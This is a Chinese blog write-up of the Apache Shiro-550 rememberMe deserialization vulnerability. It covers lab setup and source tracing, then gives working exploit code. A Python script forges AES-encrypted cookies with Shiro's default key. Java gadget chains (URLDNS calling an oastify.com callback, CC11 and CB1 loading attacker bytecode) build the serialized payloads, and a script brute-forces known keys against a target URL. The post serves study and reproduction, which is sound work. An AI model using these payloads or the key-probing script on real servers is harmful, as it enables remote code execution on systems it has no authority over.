Shiro反序列化漏洞-Shiro550

Posted 29 days ago Updated 29 days ago

By Administrator

39~50 min read

环境搭建

tomcat8.5.81

JDK1.7下载地址

https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html

下载shrio对应的war包

https://github.com/jas502n/SHIRO-550/blob/master/samples-web-1.2.4.war

shrio复现的对应源码

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

打开对应源码包之后，确定版本为1.7

这里将tomcat的安装路径放入

然后来到这里

放入下载好的war包

然后配置这些就行了

运行之后显示这个说明shrio550的复现环境搭建成功。

Shiro-550分析

cookie源头分析

访问对应的登录页面，选中remember me之后，如果登录成功，服务器的cookie的remeberme字段下的值会返回一段字符串。

首先我们搜索cookie有关的类，关注到CookieRememberMeManager类的getRememberedSerializedIdentity方法

此方法主要干了，确认在http环境执行，如果是则读取cookie中的remember me的值，再判断这个值是不是已经被删除，再判断是否符合base64的编码格式，如何这些条件都符合，则base64解码之后返回解码值。

显然这是shrio框架的cookie相关的重要方法。逆向找一下谁调用了它。

这里找到了AbstractRememberMeManager类中的getRememberedPrincipals方法，看到其中有一个convertBytesToPrincipals，看一下它的内容。

看到这里，convertBytesToPrincipals方法进行了解密和反序列化。

反序列化入口

继续跟踪此deserialize方法

发现这就是一个接口。

找到这个接口，发现在此执行了readObject方法。

通过这一系列的分析，我们可以发现，我们可以传入一个序列化的数据，然后服务器会进行解密和反序列化，最终会执行我们的恶意代码。

解密方法的逆分析

这里调用 getCipherService() 获取密码服务实例

ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());,第一个是要加密的数组，第二个是key。重点关注一下这个key，跟踪一下此方法。

而此setDecryptionCipherKey方法会被setCipherKey方法调用。

这里加密解密都用了同一个key，说明此加密方式是AES，对称密钥加密。

查看谁调用了setCipherKey方法，

这里发现在SetCipherKey中传入了默认值。

通过注解发现，这个密钥首先通过了AES加密，然后又进行了base64的加密。

加密过程分析

进入调试模式分析加密过程。

F7进入rememberIdentity

convertPrincipalsToBytes方法，这里与我们之间见到的convertBytesToPrincipals方法类似，不过这里进行的是序列化和加密

序列化过程

加密过程

这里加密的key和之前碰到的解密的key类似，可以追溯到这里

是一个常量key的对称加密。

最后到这里进行一个base64编码

总结来说

Shiro-550漏洞利用

cookie加密脚本

将反序列化的东西经过shrio的一系列加密操作形成我们伪造的cookie，然后我们将网页中的cookie替换成我们自己构造出来的，使其在经过base64解密和AES解密之后，在反序列化的时候触发恶意代码。

from email.mime import base
from pydoc import plain
import sys
import base64
import uuid
from random import Random
from Cryptodome.Cipher import AES


def get_file_data(filename):
    with open(filename, 'rb') as f:
        data = f.read()
    return data


def aes_enc(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return ciphertext


def aes_dec(enc_data):
    enc_data = base64.b64decode(enc_data)
    unpad = lambda s: s[:-s[-1]]
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = enc_data[:16]
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    plaintext = encryptor.decrypt(enc_data[16:])
    plaintext = unpad(plaintext)
    return plaintext


if __name__ == "__main__":
    data = get_file_data("ser.bin")
    print(aes_enc(data))

# 同目录下放已经反序列化的文件ser.bin，通过AES和BASE64加密生成rememberMe的cookie

首先安装一个Maven Helper插件

这个插件的主要作用是用于依赖分析

URLDNS 链

package org.example;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNSEXP {
    public static void main(String[] args) throws Exception{

        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        // 这里的url用bp生成的
        URL url = new URL("http://br6vfakoaxfoiknlo5z8vrnolfr5fu.oastify.com");
        Class c = url.getClass();
        Field hashcodefile = c.getDeclaredField("hashCode");
        hashcodefile.setAccessible(true);
        hashcodefile.set(url,1234);
        hashmap.put(url,1);
        // 这里把 hashCode 改为 -1； 通过反射的技术改变已有对象的属性
        hashcodefile.set(url,-1);
        serialize(hashmap);
        //unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

这里先不要进行反序列化，将ser.bin文件放到cookie.py加密文件的同目录下

得到加密后的伪造cookie

将原来的cookie替换成我们伪造的，如图

可以看到这里的bp就接收到了dns请求

CC11链

把之前的CC11的代码链子拿过来


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC11 {
    public  static void main(String[]args) throws  Exception{
        TemplatesImpl templates=new TemplatesImpl();

        byte[] eval= Files.readAllBytes(Paths.get("D:\\Download\\cc1\\target\\classes\\org\\example\\Calc.class"));
        byte[][] code={eval};
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(templates,"_name","Calc");
        setFieldValue(templates,"_bytecodes",code);
        InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

        HashMap<Object,Object> hashMap=new HashMap<>();

        Map decoratemap=LazyMap.decorate(hashMap,new ConstantTransformer("five"));

        TiedMapEntry tiedMapEntry=new TiedMapEntry(decoratemap,templates);

        HashMap hashMap1=new HashMap<>();
        hashMap1.put(tiedMapEntry,"value");
        decoratemap.remove(templates);

        setFieldValue(decoratemap,"factory",invokerTransformer);

        serialize(hashMap1);
        //unserialize("ser.bin");
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;


    }
}

这里踩了一个坑，把项目结果里的jdk换成1.8版本的了，但是没有把运行配置里的改掉

天知道我搞了多久。。。。。

总算出来了

CB1

一样的流程


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import javax.xml.transform.Transformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CB1 {
    public static void  main(String[]args)throws  Exception{
        TemplatesImpl templates=new TemplatesImpl();

        Class c=templates.getClass();
        Field name=c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aa");

        Field bytecode=c.getDeclaredField("_bytecodes");
        byte[] eval= Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
        byte[][]code={eval};
        bytecode.setAccessible(true);
        bytecode.set(templates,code);

        Field tfactory=c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        //PropertyUtils.getProperty(templates,"outputProperties");
        BeanComparator beanComparator=new BeanComparator("outputProperties",new BeanComparator());
        TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(1);

        Class cl=priorityQueue.getClass();
        Field bean=cl.getDeclaredField("comparator");
        bean.setAccessible(true);
        bean.set(priorityQueue,beanComparator);

        serialize(priorityQueue);
        //unserialize("ser.bin");


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);

    }

    public  static  Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        ois.readObject();
        return  ois;
    }
}

漏洞探测

在登录时选择了记住我会返回一个rememberme的头，在rememberme的头后面赋任意值会返回一个 rememberMe=deleteMe。说明目标有使用shrio框架

脚本编写时需要考虑加密模式变化的情况。AES-CBC 和 AES-GCM

import base64
import uuid
import requests
from Crypto.Cipher import AES
 
def encrypt_AES_GCM(msg, secretKey):
    aesCipher = AES.new(secretKey, AES.MODE_GCM)
    ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
    return (ciphertext, aesCipher.nonce, authTag)
 
def encode_rememberme(target):
    keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ==']     # 此处简单列举几个密钥
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
 
    file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
    for key in keys:
        try:
            # CBC加密
            encryptor = AES.new(base64.b64decode(key), mode, iv)
            base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
            res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
            if res.headers.get("Set-Cookie") == None:
                print("正确KEY ：" + key)
                return key
            else:
                if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                    print("正确key:" + key)
                    return key
            # GCM加密
            encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
            base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
            res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)
 
            if res.headers.get("Set-Cookie") == None:
                print("正确KEY:" + key)
                return key
            else:
                if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                    print("正确key:" + key)
                    return key
            print("正确key:" + key)
            return key
        except Exception as e:
            print(e)

总结

shrio550通常影响1.2.4及以下版本，但高版本如果配置了弱密码或默认密码同样也存在风险。

总的来说是利用rememberme中的base64解码+AES解码之后会触发反序列化的逻辑，将恶意代码编码构造好之后替换原来的rememberme，最后在反序列化时触发恶意代码。

java反序列化

License: CC BY 4.0